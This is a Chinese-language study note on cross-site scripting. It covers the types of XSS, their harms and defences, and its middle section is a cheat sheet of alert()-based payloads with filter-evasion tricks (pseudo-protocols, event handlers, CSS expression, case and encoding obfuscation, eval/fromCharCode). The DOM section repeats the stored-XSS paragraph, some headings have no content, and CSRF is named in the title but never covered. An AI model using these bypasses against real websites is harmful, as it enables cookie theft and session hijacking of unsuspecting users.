xss與csrf
xss原理
跨網站指令碼(Cross-site scripting,簡稱XSS) 又稱為跨站指令碼攻擊,它是一種針對網站應用程式的安全漏洞攻擊技術,是程式碼注入的一種。XSS允許惡意使用者將程式碼注入網頁,其他使用者在瀏覽網頁時就會執行其中的惡意程式碼。惡意使用者利用XSS程式碼攻擊成功後,可能得到很高的許可權(執行操作)、私密網頁內容、會話和Cookie等各種內容。與XSS相關的攻擊型別包括Cookie竊取、會話劫持、釣魚欺騙等,這類攻擊通常包含了HTML以及使用者端指令碼語言
xss分類
-
反射型
- 主要用於惡意指令碼附加到URL地址的引數中。它需要欺騙使用者自己去點選連結才能觸發XSS程式碼,一般容易出現在搜尋頁面、輸入框、URL引數處。反射型XSS大多數是用來盜取使用者的Cookie資訊。
- 常見攻擊方式:攻擊者通過電子郵件等方式將包含XSS程式碼的惡意連結傳送給目標使用者。當目標使用者訪問該連結時,伺服器接收該使用者的請求並進行處理,然後伺服器把帶有XSS程式碼的資料傳送給目標使用者的瀏覽器,瀏覽器解析這段帶有XSS程式碼的惡意指令碼後,就會觸發XSS漏洞。
-
儲存型
-
儲存型XSS又稱為持久型跨站指令碼,比反射型XSS更具威脅性,並且可能影響到Web伺服器自身安全,因為攻擊指令碼可以被永久地存放在目標伺服器的資料庫或檔案中,具有很高的隱蔽性。
-
儲存型XSS的程式碼是儲存在伺服器中的,如在個人資訊或發表文章等地方,插入程式碼,如果沒有過濾或過濾不嚴,那麼這些程式碼將儲存到伺服器中,使用者訪問該頁面的時候觸發程式碼執行。儲存型XSS一般出現在、評論、部落格日誌等使用者互動處,這種XSS比較危險,容易造成蠕蟲、盜竊cookie等
-
常見攻擊方法:該攻擊多見於論壇、部落格和留言板,攻擊者在發帖的過程中,將惡意指令碼連同正常資訊一起注入帖子的內容中。隨著帖子被伺服器儲存下來,惡意指令碼也永久地被存放在伺服器的後端儲存器中。當其他使用者瀏覽這個被注入了惡意指令碼的帖子時,惡意指令碼就會在他們的瀏覽器中執行相關操作
-
-
dom型
-
什麼是dom?常見攻擊方法:該攻擊多見於論壇、部落格和留言板,攻擊者在發帖的過程中,將惡意指令碼連同正常資訊一起注入帖子的內容中。隨著帖子被伺服器儲存下來,惡意指令碼也永久地被存放在伺服器的後端儲存器中。當其他使用者瀏覽這個被注入了惡意指令碼的帖子時,惡意指令碼就會在他們的瀏覽器中執行相關操作
-
DOM-XSS漏洞是基於文件物件模型的一種漏洞,不經過後端,DOM-XSS是通過url傳入引數去控制觸發的,其實也屬於反射型XSS
-
常用攻擊方式:使用者請求一個經過專門設計的URL,它由攻擊者提交,而且其中包含XSS程式碼。伺服器的響應不會以任何形式包含攻擊者的指令碼。當用戶的瀏覽器處理這個響應時,DOM物件就會處理XSS程式碼,導致存在XSS漏洞
-
漏洞存在的主要原因
- 引數輸入未經過安全過濾
- 惡意指令碼被輸出到網頁
- 使用者的瀏覽器執行了惡意指令碼
xss危害
-
網路釣魚,包括盜取各類使用者賬號
-
竊取使用者Cookies資料,從而獲取使用者隱私資訊,或利用使用者身份進一步對網站執行操作
-
劫持使用者瀏覽器會話,從而執行任意 操作,例如進行非法轉賬、強制發表日誌、傳送電子郵件等
-
強制彈出廣告頁面、惡意刷流量等
-
網站掛馬進行惡意操作,例如任意篡改頁面資訊、非法獲取網站資訊、刪除檔案等
-
進行大量的客戶端攻擊,例如DDOS攻擊、傳播跨站指令碼蠕蟲等
-
獲取使用者端資訊 ,例如使用者的瀏覽記錄、真實IP地址、開放的埠等
-
結合其他漏洞,例如CSRF漏洞,實施進一步作惡
xss-labs
https://www.cnblogs.com/zjhzjhhh/p/14192728.html
xss構造
- 基本方式,利用尖括號插入js中
通過<script>標籤就能任意插入由JavaScript或VBScript編寫的惡意指令碼程式碼
常用:
<script>alert(/xss/)</script>
- 利用HTML標籤屬性值執行XSS
通過javascript:[code]偽協議形式編寫惡意指令碼
常用:
<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');" >
- 空格回車Tab繞過過濾
注意javas和cript之間的間隔不是由空格鍵新增的,而是用Tab鍵新增的。
<img src="javas cript:alert(/xss/)" width=100>
使用回車分隔:
<img src="javas
cript:
alert(/xss/)" width=100>
- 對標籤屬性值進行轉碼
<img src="javascript:alert('xss');">
替換成:
<img src="javascript:alert('xss');">
其中,t的ASCII碼值為116,用”t”表示,:則表示:。
再進一步替換:
<img src="javascript:alert('xss');">
- 產生事件如click、mouseover、load等
onclick="alert('xss')"
'onfocus=javascript:alert('xss') >
'onmouseover=javascript:alert(1) >
- 利用CSS跨站過濾
<div style="background-image:url(javascript:alert('xss'))">
<style>
body {background-image:url("javascript:alert(/xss/)");}
</style>
<div style="width:expression(alert('XSS'));">
<img src="#" style="xss:expression(alert(/xss/));">
<style>
body {background-image: expression(alert("xss"));}
</style>
<div style="list-style-image:url(javascript:alert('XSS'));">
<div style="background-image:url(javascript:alert('XSS'));">
<img src=" javascript:alert('xss')">
<style>
@import 'javascript:alert(/xss/)';
</style>
- XSS過濾規則
一個正常的XSS輸入:
<img src="javascript:alert(0);">
轉換大小寫後的XSS:
<IMG SRC="javascript:alert(0);">
大小寫混淆的XSS:
<iMg sRC="JaVasCript:alert(0);">
不用雙引號,而是使用單引號的XSS:
<img src='javascript:alert(0);'>
不適用引號的XSS:
<img src=javascript:alert(0);>
不需要空格的XSS:
<img/src="javascript:alert('xss');">
構造不同的全形字元:
<div style="{left:expression(alert('xss'))">
利用註釋符
<div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">
\和\0–
<style>
@imp\0ort 'java\0scri\pt:alert(/xss/)';
</style>
<style>
@imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
</style>
CSS關鍵字轉碼
<div style="xss:\65xpression(alert('XSS'));">
<div style="xss:\065xpression(alert('XSS'));">
<div style="xss:\0065xpression(alert('XSS'));">
<!--<img src="--><img src=x οnerrοr=alert(1)//">
<comment><img src="</comment><img src=x οnerrοr=alert(1)//">
<style><img src=“</style><img src=x onerror=alert(1)//”>
- 利用字元編碼
原始語句:
<img src="javascript:alert('xss');">
unicode編碼
十進位制
base64
十六進位制
- 利用字元編碼eval()函式、eval()和string.fromCharCode()函式過濾
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))" >
xss防禦
xs通常是插入到各種標籤中,或者標籤的屬性中,css等,可以根據插入位置進行防禦。
- 輸入過濾
輸入驗證就是對使用者提交的資訊進行有效驗證,僅接受指定長度範圍內的,採用適當的內容提交,阻止或者忽略除此外的其他任何資料。如下程式碼,檢查使用者輸入的電話號碼是否真確。
-
輸出編碼
對輸入的使用者資訊進行編碼,可以確保瀏覽器安全處理可能存在惡意字元,將其當做HTMl文件的內容而非結構加以處理。 -
標籤黑白名單過濾
直接對輸入的資訊進行黑白名單過濾,簡單粗暴。 -
程式碼實體轉義
對尖括號,大括號之類的進行轉義,輸出以後就作為一個字元,無法執行標籤。 -
httponly
通俗的講,httponly就是在cookie中設定了個屬性,通過js程式碼無法讀取到cookie資訊,有效防止xss